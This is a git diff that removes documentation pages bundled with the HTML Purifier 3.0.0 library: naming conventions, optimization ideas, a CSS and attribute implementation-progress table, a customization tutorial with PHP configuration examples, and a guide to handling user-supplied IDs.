    • Attr to Attributes (note that it is plural, i.e. $attr = array())
    • -
    • Def to Definition
    • -
    • $ret is the value to be returned in a function
    • -
    -
    - -
    Ambiguity concerning the definition of Def/Definition
    -
    While a definition normally defines the structure/acceptable values of - an entity, most of the definitions in this application also attempt - to validate and fix the value. I am unsure of a better name, as - "Validator" would exclude fixing the value, "Fixer" doesn't invoke - the proper image of "fixing" something, and "ValidatorFixer" is too long! - Some other suggestions were "Handler", "Reference", "Check", "Fix", - "Repair" and "Heal".
    - -
    Transform not Transformer
    -
    Transform is both a noun and a verb, and thus we define a "Transform" as - something that "transforms," leaving "Transformer" (which sounds like an - electrical device/robot toy).
    - -
    - -
    $Id: dev-naming.html 1253 2007-06-27 13:58:32Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/dev-optimization.html b/lib/htmlpurifier-3.0.0/docs/dev-optimization.html deleted file mode 100644 index dcbb656..0000000 --- a/lib/htmlpurifier-3.0.0/docs/dev-optimization.html +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - -Optimization - HTML Purifier - - - -

    Optimization

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Here are some possible optimization techniques we can apply to code sections if -they turn out to be slow. Be sure not to prematurely optimize: if you get -that itch, put it here!

    - -
      -
    • Make Tokens Flyweights (may prove problematic, probably not worth it)
    • -
    • Rewrite regexps into PHP code
    • -
    • Serialize the Definition object
    • -
    • Batch regexp validation (do as many per function call as possible)
    • -
    • Parallelize strategies
    • -
    - -
    $Id: dev-optimization.html 1253 2007-06-27 13:58:32Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/dev-progress.html b/lib/htmlpurifier-3.0.0/docs/dev-progress.html deleted file mode 100644 index cd220bb..0000000 --- a/lib/htmlpurifier-3.0.0/docs/dev-progress.html +++ /dev/null @@ -1,303 +0,0 @@ - - - - - - - -Implementation Progress - HTML Purifier - - - - - -

    Implementation Progress

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Key

    - - - - - - - - -
    Implemented
    Partially implemented
    Not priority to implement
    Dangerous attribute/property
    Present in CSS1
    Feature, requires extra work
    - -

    CSS

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameNotes
    Standard
    background-colorCOMPOSITE(<color>, transparent)
    backgroundSHORTHAND, currently alias for background-color
    borderSHORTHAND, MULTIPLE
    border-colorMULTIPLE
    border-styleMULTIPLE
    border-widthMULTIPLE
    border-*SHORTHAND
    border-*-colorCOMPOSITE(<color>, transparent)
    border-*-styleENUM(none, hidden, dotted, dashed, - solid, double, groove, ridge, inset, outset)
    border-*-widthCOMPOSITE(<length>, thin, medium, thick)
    clearENUM(none, left, right, both)
    color<color>
    floatENUM(left, right, none), May require layout - precautions with clear
    fontSHORTHAND
    font-familyCSS validator may complain if fallback font - family not specified
    font-sizeCOMPOSITE(<absolute-size>, - <relative-size>, <length>, <percentage>)
    font-styleENUM(normal, italic, oblique)
    font-variantENUM(normal, small-caps)
    font-weightENUM(normal, bold, bolder, lighter, - 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for - in-between integers
    letter-spacingCOMPOSITE(<length>, normal)
    line-heightCOMPOSITE(<number>, - <length>, <percentage>, normal)
    list-style-positionENUM(inside, outside), - Strange behavior in browsers
    list-style-typeENUM(...), - Well-supported values are: disc, circle, square, - decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also - CSS 3. Mostly IE lack of support.
    list-styleSHORTHAND
    marginMULTIPLE
    margin-*COMPOSITE(<length>, - <percentage>, auto)
    paddingMULTIPLE
    padding-*COMPOSITE(<length>(positive), - <percentage>(positive))
    text-alignENUM(left, right, - center, justify)
    text-decorationNo blink (argh my eyes), not - enum, can be combined (composite sorta): underline, overline, - line-through
    text-indentCOMPOSITE(<length>, - <percentage>)
    text-transformENUM(capitalize, uppercase, - lowercase, none)
    widthCOMPOSITE(<length>, - <percentage>, auto), Interesting
    word-spacingCOMPOSITE(<length>, auto), - IE 5 no support
    Table
    border-collapseENUM(collapse, seperate)
    border-spaceMULTIPLE
    caption-sideENUM(top, bottom)
    empty-cellsENUM(show, hide), No IE support makes this useless, - possible fix with &nbsp;? Unknown release milestone.
    table-layoutENUM(auto, fixed)
    vertical-alignCOMPOSITE(ENUM(baseline, sub, - super, top, text-top, middle, bottom, text-bottom), <percentage>, - <length>) Also applies to others with explicit height
    Absolute positioning, unknown release milestone
    bottomDangerous, must be non-negative to even be considered, - but it's still possible to arbitrarily position by running over.
    left
    right
    top
    clip-
    positionENUM(static, relative, absolute, fixed) - relative not absolute?
    z-indexDangerous
    Unknown
    background-imageDangerous
    background-attachmentENUM(scroll, fixed), - Depends on background-image
    background-positionDepends on background-image
    cursorDangerous but fluffy
    displayENUM(...), Dangerous but interesting; - will not implement list-item, run-in (Opera only) or table (no IE); - inline-block has incomplete IE6 support and requires -moz-inline-box - for Mozilla. Unknown target milestone.
    heightInteresting, why use it? Unknown target milestone.
    list-style-imageDangerous?
    max-heightNo IE 5/6
    min-height
    max-width
    min-width
    orphansNo IE support
    widowsNo IE support
    overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
    page-break-afterENUM(auto, always, avoid, left, right), - IE 5.5/6 and Opera. Unknown target milestone.
    page-break-beforeENUM(auto, always, avoid, left, right), - Mostly supported. Unknown target milestone.
    page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
    quotesMay be dropped from CSS2, fairly useless for inline context
    visibilityENUM(visible, hidden, collapse), - Dangerous
    white-spaceENUM(normal, pre, nowrap, pre-wrap, - pre-line), Spotty implementation: - pre (no IE 5/6), nowrap (no IE 5, supported), - pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
    Aural
    azimuth-
    cue-
    cue-after-
    cue-before-
    elevation-
    pause-after-
    pause-before-
    pause-
    pitch-range-
    pitch-
    play-during-
    richness-
    speak-headerTable related
    speak-numeral-
    speak-punctuation-
    speak-
    speech-rate-
    stress-
    voice-family-
    volume-
    Will not implement
    contentNot applicable for inline styles
    counter-incrementNeeds content, Opera only
    counter-resetNeeds content, Opera only
    directionNo support
    outline-colorIE Mac and Opera on outside, -Mozilla on inside and needs -moz-outline, no IE support.
    outline-style
    outline-width
    outline
    unicode-bidiNo support
    - -

    Interesting Attributes

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    AttributeTagsNotes
    CSS
    styleAllParser is reasonably functional. Status here doesn't count individual properties.
    Questionable
    accesskeyAMay interfere with main interface
    tabindexAMay interfere with main interface
    targetAConfig enabled, only useful for frame layouts, disallowed in strict
    Miscellaneous
    datetimeDEL, INSNo visible effect, ISO format
    relALargely user-defined: nofollow, tag (see microformats)
    revALargely user-defined: vote-*
    axisTD, THW3C only: No browser implementation
    charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
    headersTD, THW3C only: No browser implementation
    scopeTD, THW3C only: No browser implementation
    URI
    citeBLOCKQUOTE, QFor attribution
    DEL, INSLink to explanation why it changed
    hrefA-
    longdescIMG-
    srcIMGRequired
    Transform
    alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
    IMGSee specimens/html-align-to-css.html
    TABLE
    HR
    H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
    altIMGRequired, insert image filename if src is present or default invalid image text
    bgcolorTABLESuperset style 'background-color'
    TRSuperset style 'background-color'
    TD, THSuperset style 'background-color'
    borderIMGEquivalent style border:[number]px solid
    clearBRNear-equiv style 'clear', transform 'all' into 'both'
    compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
    dirBDORequired, insert ltr (or configuration value) if none
    heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
    hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
    lang*Copy value to xml:lang
    nameIMGTurn into ID
    ATurn into ID
    noshadeHRBoolean, style 'border-style:solid;'
    nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
    sizeHRNear-equiv 'height', needs px suffix if original was pixels
    srcIMGRequired, insert blank or default img if not set
    startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
    typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
    OL
    UL
    valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
    vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
    widthHRNear-equiv style 'width', needs px suffix if original was pixels
    TD, TH
    - -
    $Id: dev-progress.html 1401 2007-09-03 15:16:33Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/dtd/xhtml1-transitional.dtd b/lib/htmlpurifier-3.0.0/docs/dtd/xhtml1-transitional.dtd deleted file mode 100644 index 628f27a..0000000 --- a/lib/htmlpurifier-3.0.0/docs/dtd/xhtml1-transitional.dtd +++ /dev/null @@ -1,1201 +0,0 @@ - - - - - -%HTMLlat1; - - -%HTMLsymbol; - - -%HTMLspecial; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-customize.html b/lib/htmlpurifier-3.0.0/docs/enduser-customize.html deleted file mode 100644 index 8634021..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-customize.html +++ /dev/null @@ -1,798 +0,0 @@ - - - - - - - -Customize - HTML Purifier - - - -

    Customize!

    -
    HTML Purifier is a Swiss-Army Knife
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - You may have heard of the Advanced API. - If you're interested in reading dry prose and boring functional - specifications, feel free to click that link to get a no-nonsense overview - on the Advanced API. For the rest of us, there's this tutorial. By the time - you're finished reading this, you should have a pretty good idea on - how to implement custom tags and attributes that HTML Purifier may not have. -

    - -

    Is it necessary?

    - -

    - Before we even write any code, it is paramount to consider whether or - not the code we're writing is necessary or not. HTML Purifier, by default, - contains a large set of elements and attributes: large enough so that - any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) - that can be safely used by the general public is implemented. -

    - -

    - So what needs to be implemented? (Feel free to skip this section if - you know what you want). -

    - -

    XHTML 1.0

    - -

    - All of the modules listed below are based off of the - modularization of - XHTML, which, while technically for XHTML 1.1, is quite a useful - resource. -

    - -
      -
    • Structure
    • -
    • Frames
    • -
    • Applets (deprecated)
    • -
    • Forms
    • -
    • Image maps
    • -
    • Objects
    • -
    • Frames
    • -
    • Events
    • -
    • Meta-information
    • -
    • Style sheets
    • -
    • Link (not hypertext)
    • -
    • Base
    • -
    • Name
    • -
    - -

    - If you don't recognize it, you probably don't need it. But the curious - can look all of these modules up in the above-mentioned document. Note - that inline scripting comes packaged with HTML Purifier (more on this - later). -

    - -

    XHTML 1.1

    - -

    - As of HTMLPurifier 2.1.0, we have implemented the - Ruby module, - which defines a set of tags - for publishing short annotations for text, used mostly in Japanese - and Chinese school texts, but applicable for positioning any text (not - limited to translations) above or below other corresponding text. -

    - -

    XHTML 2.0

    - -

    - XHTML 2.0 is still a - working draft, so any elements introduced in the - specification have not been implemented and will not be implemented - until we get a recommendation or proposal. Because XHTML 2.0 is - an entirely new markup language, implementing rules for it will be - no easy task. -

    - -

    HTML 5

    - -

    - HTML 5 - is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed - in the wrong direction. It too is a working draft, and may change - drastically before publication, but it should be noted that the - canvas tag has been implemented by many browser vendors. -

    - -

    Proprietary

    - -

    - There are a number of proprietary tags still in the wild. Many of them - have been documented in ref-proprietary-tags.txt, - but there is currently no implementation for any of them. -

    - -

    Extensions

    - -

    - There are also a number of other XML languages out there that can - be embedded in HTML documents: two of the most popular are MathML and - SVG, and I frequently get requests to implement these. But they are - expansive, comprehensive specifications, and it would take far too long - to implement them correctly (most systems I've seen go as far - as whitelisting tags and no further; come on, what about nesting!) -

    - -

    - Word of warning: HTML Purifier is currently not namespace - aware. -

    - -

    Giving back

    - -

    - As you may imagine from the details above (don't be abashed if you didn't - read it all: a glance over would have done), there's quite a bit that - HTML Purifier doesn't implement. Recent architectural changes have - allowed HTML Purifier to implement elements and attributes that are not - safe! Don't worry, they won't be activated unless you set %HTML.Trusted - to true, but they certainly help out users who need to put, say, forms - on their page and don't want to go through the trouble of reading this - and implementing it themself. -

    - -

    - So any of the above that you implement for your own application could - help out some other poor sap on the other side of the globe. Help us - out, and send back code so that it can be hammered into a module and - released with the core. Any code would be greatly appreciated! -

    - -

    And now...

    - -

    - Enough philosophical talk, time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML', 'DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML', 'DefinitionRev', 1);
    -$def =& $config->getHTMLDefinition(true);
    - -

    - Assuming that HTML Purifier has already been properly loaded (hint: - include HTMLPurifier.auto.php), this code will set up - the environment that you need to start customizing the HTML definition. - What's going on? -

    - -
      -
    • - The first three lines are regular configuration code: -
        -
      • - %HTML.DefinitionID is set to a unique identifier for your - custom HTML definition. This prevents it from clobbering - other custom definitions on the same installation. -
      • -
      • - %HTML.DefinitionRev is a revision integer of your HTML - definition. Because HTML definitions are cached, you'll need - to increment this whenever you make a change in order to flush - the cache. -
      • -
      -
    • -
    • - The fourth line retrieves a raw HTMLPurifier_HTMLDefinition - object that we will be tweaking. If the parameter was removed, we - would be retrieving a fully formed definition object, which is somewhat - useless for customization purposes. -
    • -
    - -

    Broken backwards-compatibility

    - -

    - Those of you who have already been twiddling around with the raw - HTML definition object, you'll be noticing that you're getting an error - when you attempt to retrieve the raw definition object without specifying - a DefinitionID. It is vital to caching (see below) that you make a unique - name for your customized definition, so make up something right now and - things will operate again. -

    - -

    Turn off caching

    - -

    - To make development easier, we're going to temporarily turn off - definition caching: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML', 'DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML', 'DefinitionRev', 1);
    -$config->set('Core', 'DefinitionCache', null); // remove this later!
    -$def =& $config->getHTMLDefinition(true);
    - -

    - A few things should be mentioned about the caching mechanism before - we move on. For performance reasons, HTML Purifier caches generated - HTMLPurifier_Definition objects in serialized files - stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. - A lot of processing is done in order to create these objects, so it - makes little sense to repeat the same processing over and over again - whenever HTML Purifier is called. -

    - -

    - In order to identify a cache entry, HTML Purifier uses three variables: - the library's version number, the value of %HTML.DefinitionRev and - a serial of relevant configuration. Whenever any of these changes, - a new HTML definition is generated. Notice that there is no way - for the definition object to track changes to customizations: here, it - is up to you to supply appropriate information to DefinitionID and - DefinitionRev. -

    - -

    Add an attribute

    - -

    - For this example, we're going to implement the target attribute found - on a elements. To implement an attribute, we have to - ask a few questions: -

    - -
      -
    1. What element is it found on?
    2. -
    3. What is its name?
    4. -
    5. Is it required or optional?
    6. -
    7. What are valid values for it?
    8. -
    - -

    - The first three are easy: the element is a, the attribute - is target, and it is not a required attribute. (If it - was required, we'd need to append an asterisk to the attribute name, - you'll see an example of this in the addElement() example). -

    - -

    - The last question is a little trickier. - Lets allow the special values: _blank, _self, _target and _top. - The form of this is called an enumeration, a list of - valid values, although only one can be used at a time. To translate - this into code form, we write: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML', 'DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML', 'DefinitionRev', 1);
    -$config->set('Core', 'DefinitionCache', null); // remove this later!
    -$def =& $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    - -

    - The Enum#_blank,_self,_target,_top does all the magic. - The string is split into two parts, separated by a hash mark (#): -

    - -
      -
    1. The first part is the name of what we call an AttrDef
    2. -
    3. The second part is the parameter of the above-mentioned AttrDef
    4. -
    - -

    - If that sounds vague and generic, it's because it is! HTML Purifier defines - an assortment of different attribute types one can use, and each of these - has their own specialized parameter format. Here are some of the more useful - ones: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeFormatDescription
    Enum[s:]value1,value2,... - Attribute with a number of valid values, one of which may be used. When - s: is present, the enumeration is case sensitive. -
    Boolattribute_name - Boolean attribute, with only one valid value: the name - of the attribute. -
    CDATA - Attribute of arbitrary text. Can also be referred to as Text - (the specification makes a semantic distinction between the two). -
    ID - Attribute that specifies a unique ID -
    Pixels - Attribute that specifies an integer pixel length -
    Length - Attribute that specifies a pixel or percentage length -
    NMTOKENS - Attribute that specifies a number of name tokens, example: the - class attribute -
    URI - Attribute that specifies a URI, example: the href - attribute -
    Number - Attribute that specifies an positive integer number -
    - -

    - For a complete list, consult - library/HTMLPurifier/AttrTypes.php; - more information on attributes that accept parameters can be found on their - respective includes in - library/HTMLPurifier/AttrDef. -

    - -

    - Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't - sweat: you can also use a fully instantiated object as the value. The - equivalent, verbose form of the above example is: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML', 'DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML', 'DefinitionRev', 1);
    -$config->set('Core', 'DefinitionCache', null); // remove this later!
    -$def =& $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    - -

    - Trust me, you'll learn to love the shorthand. -

    - -

    Add an element

    - -

    - Adding attributes is really small-fry stuff, though, and it was possible - to add them (albeit a bit more wordy) prior to 2.0. The real gem of - the Advanced API is adding elements. There are five questions to - ask when adding a new element: -

    - -
      -
    1. What is the element's name?
    2. -
    3. What content set does this element belong to?
    4. -
    5. What are the allowed children of this element?
    6. -
    7. What attributes does the element allow that are general?
    8. -
    9. What attributes does the element allow that are specific to this element?
    10. -
    - -

    - It's a mouthful, and you'll be slightly lost if your not familiar with - the HTML specification, so let's explain them step by step. -

    - -

    Content set

    - -

    - The HTML specification defines two major content sets: Inline - and Block. Each of these - content sets contain a list of elements: Inline contains things like - span and b while Block contains things like - div and blockquote. -

    - -

    - These content sets amount to a macro mechanism for HTML definition. Most - elements in HTML are organized into one of these two sets, and most - elements in HTML allow elements from one of these sets. If we had - to write each element verbatim into each other element's allowed - children, we would have ridiculously large lists; instead we use - content sets to compactify the declaration. -

    - -

    - Practically speaking, there are several useful values you can use here: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content setDescription
    InlineCharacter level elements, text
    BlockBlock-like elements, like paragraphs and lists
    false - Any element that doesn't fit into the mold, for example li - or tr -
    - -

    - By specifying a valid value here, all other elements that use that - content set will also allow your element, without you having to do - anything. If you specify false, you'll have to register - your element manually. -

    - -

    Allowed children

    - -

    - Allowed children defines the elements that this element can contain. - The allowed values may range from none to a complex regexp depending on - your element. -

    - -

    - If you've ever taken a look at the HTML DTD's before, you may have - noticed declarations like this: -

    - -
    <!ELEMENT LI - O (%flow;)*             -- list item -->
    - -

    - The (%flow;)* indicates the allowed children of the - li tag: li allows any number of flow - elements as its children. (The - O allows the closing tag to be - omitted, though in XML this is not allowed.) In HTML Purifier, - we'd write it like Flow (here's where the content sets - we were discussing earlier come into play). There are three shorthand - content models you can specify: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content modelDescription
    EmptyNo children allowed, like br or hr
    InlineAny number of inline elements and text, like span
    FlowAny number of inline elements, block elements and text, like div
    - -

    - This covers 90% of all the cases out there, but what about elements that - break the mold like ul? This guy requires at least one - child, and the only valid children for it are li. The - content model is: Required: li. There are two parts: the - first type determines what ChildDef will be used to validate - content models. The most common values are: -

    - - - - - - - - - - - - - - - - - - - - - - -
    TypeDescription
    RequiredChildren must be one or more of the valid elements
    OptionalChildren can be any number of the valid elements
    CustomChildren must follow the DTD-style regex
    - -

    - You can also implement your own ChildDef: this was done - for a few special cases in HTML Purifier such as Chameleon - (for ins and del), StrictBlockquote - and Table. -

    - -

    - The second part specifies either valid elements or a regular expression. - Valid elements are separated with horizontal bars (|), i.e. - "a | b | c". Use #PCDATA to represent plain text. - Regular expressions are based off of DTD's style: -

    - -
      -
    • Parentheses () are used for grouping
    • -
    • Commas (,) separate elements that should come one after another
    • -
    • Horizontal bars (|) indicate one or the other elements should be used
    • -
    • Plus signs (+) are used for a one or more match
    • -
    • Asterisks (*) are used for a zero or more match
    • -
    • Question marks (?) are used for a zero or one match
    • -
    - -

    - For example, "a, b?, (c | d), e+, f*" means "In this order, - one a element, at most one b element, - one c or d element (but not both), one or more - e elements, and any number of f elements." - Regex veterans should be able to jump right in, and those not so savvy - can always copy-paste W3C's content model definitions into HTML Purifier - and hope for the best. -

    - -

    - A word of warning: while the regex format is extremely flexible on - the developer's side, it is - quite unforgiving on the user's side. If the user input does not exactly - match the specification, the entire contents of the element will - be nuked. This is why there is are specific content model types like - Optional and Required: while they could be implemented as Custom: - (valid | elements)*, the custom classes contain special recovery - measures that make sure as much of the user's original content gets - through. HTML Purifier's core, as a rule, does not use Custom. -

    - -

    - One final note: you can also use Content Sets inside your valid elements - lists or regular expressions. In fact, the three shorthand content models - mentioned above are just that: abbreviations: -

    - - - - - - - - - - - - - - - - - - -
    Content modelImplementation
    InlineOptional: Inline | #PCDATA
    FlowOptional: Flow | #PCDATA
    - -

    - When the definition is compiled, Inline will be replaced with a - horizontal-bar separated list of inline elements. Also, notice that - it does not contain text: you have to specify that yourself. -

    - -

    Common attributes

    - -

    - Congratulations: you have just gotten over the proverbial hump (Allowed - children). Common attributes is much simpler, and boils down to - one question: does your element have the id, style, - class, title and lang attributes? - If so, you'll want to specify the Common attribute collection, - which contains these five attributes that are found on almost every - HTML element in the specification. -

    - -

    - There are a few more collections, but they're really edge cases: -

    - - - - - - - - - - - - - - - - - - -
    CollectionAttributes
    I18Nlang, possibly xml:lang
    Corestyle, class, id and title
    - -

    - Common is a combination of the above-mentioned collections. -

    - -

    - Readers familiar with the modularization may have noticed that the Core - attribute collection differs from that specified by the abstract - modules of the XHTML Modularization 1.1. We believe this section - to be in error, as br permits the use of the style - attribute even though it uses the Core collection, and - the DTD and XML Schemas supplied by W3C support our interpretation. -

    - -

    Attributes

    - -

    - If you didn't read the earlier section on - adding attributes, read it now. The last parameter is simply - an array of attribute names to attribute implementations, in the exact - same format as addAttribute(). -

    - -

    Putting it all together

    - -

    - We're going to implement form. Before we embark, lets - grab a reference implementation from over at the - transitional DTD: -

    - -
    <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
    -<!ATTLIST FORM
    -  %attrs;                              -- %coreattrs, %i18n, %events --
    -  action      %URI;          #REQUIRED -- server-side form handler --
    -  method      (GET|POST)     GET       -- HTTP method used to submit the form--
    -  enctype     %ContentType;  "application/x-www-form-urlencoded"
    -  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
    -  name        CDATA          #IMPLIED  -- name of form for scripting --
    -  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
    -  onreset     %Script;       #IMPLIED  -- the form was reset --
    -  target      %FrameTarget;  #IMPLIED  -- render in this frame --
    -  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
    -  >
    - -

    - Juicy! With just this, we can answer four of our five questions: -

    - -
      -
    1. What is the element's name? form
    2. -
    3. What content set does this element belong to? Block - (this needs a little sleuthing, I find the easiest way is to search - the DTD for FORM and determine which set it is in.)
    4. -
    5. What are the allowed children of this element? One - or more flow elements, but no nested forms
    6. -
    7. What attributes does the element allow that are general? Common
    8. -
    9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; - we're going to the vital ones: action, method and name
    10. -
    - -

    - Time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML', 'DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML', 'DefinitionRev', 1);
    -$config->set('Core', 'DefinitionCache', null); // remove this later!
    -$def =& $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    -$form =& $def->addElement(
    -  'form',   // name
    -  'Block',  // content set
    -  'Flow', // allowed children
    -  'Common', // attribute collection
    -  array( // attributes
    -    'action*' => 'URI',
    -    'method' => 'Enum#get|post',
    -    'name' => 'ID'
    -  )
    -);
    -$form->excludes = array('form' => true);
    - -

    - Each of the parameters corresponds to one of the questions we asked. - Notice that we added an asterisk to the end of the action - attribute to indicate that it is required. If someone specifies a - form without that attribute, the tag will be axed. - Also, the extra line at the end is a special extra declaration that - prevents forms from being nested within each other. -

    - -

    - And that's all there is to it! Implementing the rest of the form - module is left as an exercise to the user; to see more examples - check the library/HTMLPurifier/HTMLModule/ directory - in your local HTML Purifier installation. -

    - -

    And beyond...

    - -

    - Perceptive users may have realized that, to a certain extent, we - have simply re-implemented the facilities of XML Schema or the - Document Type Definition. What you are seeing here, however, is - not just an XML Schema or Document Type Definition: it is a fully - expressive method of specifying the definition of HTML that is - a portable superset of the capabilities of the two above-mentioned schema - languages. What makes HTMLDefinition so powerful is the fact that - if we don't have an implementation for a content model or an attribute - definition, you can supply it yourself by writing a PHP class. -

    - -

    - There are many facets of HTMLDefinition beyond the Advanced API I have - walked you through today. To find out more about these, you can - check out these source files: -

    - - - -
    $Id: enduser-tidy.html 1158 2007-06-18 19:26:29Z Edward $
    - - diff --git a/lib/htmlpurifier-3.0.0/docs/enduser-id.html b/lib/htmlpurifier-3.0.0/docs/enduser-id.html deleted file mode 100644 index e4848b5..0000000 --- a/lib/htmlpurifier-3.0.0/docs/enduser-id.html +++ /dev/null @@ -1,147 +0,0 @@ - - - - - - - -IDs - HTML Purifier - - - -

    IDs

    -
    What they are, why you should(n't) wear them, and how to deal with it
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Prior to HTML Purifier 1.2.0, this library blithely accepted user input that -looked like this:

    - -
    <a id="fragment">Anchor</a>
    - -

    ...presenting an attractive vector for those that would destroy standards -compliance: simply set the ID to one that is already used elsewhere in the -document and voila: validation breaks. There was a half-hearted attempt to -prevent this by allowing users to blacklist IDs, but I suspect that no one -really bothered, and thus, with the release of 1.2.0, IDs are now removed -by default.

    - -

    IDs, however, are quite useful functionality to have, so if users start -complaining about broken anchors you'll probably want to turn them back on -with %HTML.EnableAttrID. But before you go mucking around with the config -object, it's probably worth to take some precautions to keep your page -validating. Why?

    - -
      -
    1. Standards-compliant pages are good
    2. -
    3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a - document, which spot does a browser presented with the fragment #foobar go - to? Most browsers opt for the first appearing ID, making it impossible - to references the second section. Similarly, duplicated IDs can hijack - client-side scripting that relies on the IDs of elements.
    4. -
    - -

    You have (currently) four ways of dealing with the problem.

    - - - -

    Blacklisting IDs

    -
    Good for pages with single content source and stable templates
    - -

    Keeping in terms with the -KISS principle, let us -deal with the most obvious solution: preventing users from using any IDs that -appear elsewhere on the document. The method is simple:

    - -
    $config->set('HTML', 'EnableAttrID', true);
    -$config->set('Attr', 'IDBlacklist' array(
    -    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
    -));
    - -

    That being said, there are some notable drawbacks. First of all, you have to -know precisely which IDs are being used by the HTML surrounding the user code. -This is easier said than done: quite often the page designer and the system -coder work separately, so the designer has to constantly be talking with the -coder whenever he decides to add a new anchor. Miss one and you open yourself -to possible standards-compliance issues.

    - -

    Furthermore, this position becomes untenable when a single web page must hold -multiple portions of user-submitted content. Since there's obviously no way -to find out before-hand what IDs users will use, the blacklist is helpless. -And since HTML Purifier validates each segment separately, perhaps doing -so at different times, it would be extremely difficult to dynamically update -the blacklist in between runs.

    - -

    Finally, simply destroying the ID is extremely un-userfriendly behavior: after -all, they might have simply specified a duplicate ID by accident.

    - -

    Thus, we get to our second method.

    - - - -

    Namespacing IDs

    -
    Lazy developer's way, but needs user education
    - -

    This method, too, is quite simple: add a prefix to all user IDs. With this -code:

    - -
    $config->set('HTML', 'EnableAttrID', true);
    -$config->set('Attr', 'IDPrefix', 'user_');
    - -

    ...this:

    - -
    <a id="foobar">Anchor!</a>
    - -

    ...turns into:

    - -
    <a id="user_foobar">Anchor!</a>
    - -

    As long as you don't have any IDs that start with user_, collisions are -guaranteed not to happen. The drawback is obvious: if a user submits -id="foobar", they probably expect to be able to reference their page with -#foobar. You'll have to tell them, "No, that doesn't work, you have to add -user_ to the beginning."

    - -

